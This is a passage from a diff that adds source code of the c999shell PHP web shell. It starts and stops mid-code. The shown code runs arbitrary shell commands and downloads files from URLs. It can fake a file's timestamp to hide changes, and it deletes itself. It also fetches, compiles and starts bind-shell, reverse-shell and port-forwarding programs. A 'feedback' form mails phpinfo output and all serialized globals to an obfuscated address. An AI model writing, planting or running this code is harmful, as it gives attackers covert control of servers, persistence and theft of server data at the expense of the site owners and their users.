(!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "update") {$ret = c999sh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href='".$surl."act=update&confirmupdate=1';\" value=\"Update now\">";}} +if ($act == "feedback") +{ + $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1"); + if (!empty($submit)) + { + $ticket = substr(md5(microtime()+rand(1,1000)),0,6); + $body = "c999shell v.".$shver." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; + if (!empty($fdbk_ref)) + { + $tmp = @ob_get_contents(); + ob_clean(); + phpinfo(); + $phpinfo = base64_encode(ob_get_contents()); + ob_clean(); + echo $tmp; + $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; + } + mail($suppmail,"c999shell v.".$shver." feedback #".$ticket,$body,"FROM: ".$suppmail); + echo "<center><b>Thanks for your feedback! Your ticket ID: ".$ticket.".</b></center>"; + } + else {echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=feedback><b>Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail)."):<br><br>Your name: <input type=\"text\" name=\"fdbk_name\" value=\"".htmlspecialchars($fdbk_name)."\"><br><br>Your e-mail: <input type=\"text\" name=\"fdbk_email\" value=\"".htmlspecialchars($fdbk_email)."\"><br><br>Message:<br><textarea name=\"fdbk_body\" cols=80 rows=10>".htmlspecialchars($fdbk_body)."</textarea><input type=\"hidden\" name=\"fdbk_ref\" value=\"".urlencode($HTTP_REFERER)."\"><br><br>Attach server-info * <input type=\"checkbox\" name=\"fdbk_servinf\" value=\"1\" checked><br><br>There are no checking in the form.<br><br>* - strongly recommended, if you report bug, because we need it for bug-fix.<br><br>We understand languages: English, Russian.<br><br><input type=\"submit\" name=\"submit\" value=\"Send\"></form>";} +} +if ($act == "search") +{ + echo "<b>Search in file-system:</b><br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c999fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>Search for (file/folder name): </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Search in (explode \";\"): </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><br><b>Text:</b><br><textarea name=\"search_text\" cols=\"122\" rows=\"10\">".htmlspecialchars($search_text)."</textarea> +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c999_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c999_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c999_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c999_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c999_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c999_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c999_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps -aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + echo "<b>Result of execution this command</b>:<br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "c999sh_bindport.pl"=>array("Using PERL","perl %path %port"), + "c999sh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "c999sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "c999sh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "c999sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "c999sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c999getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c999getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c999getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v 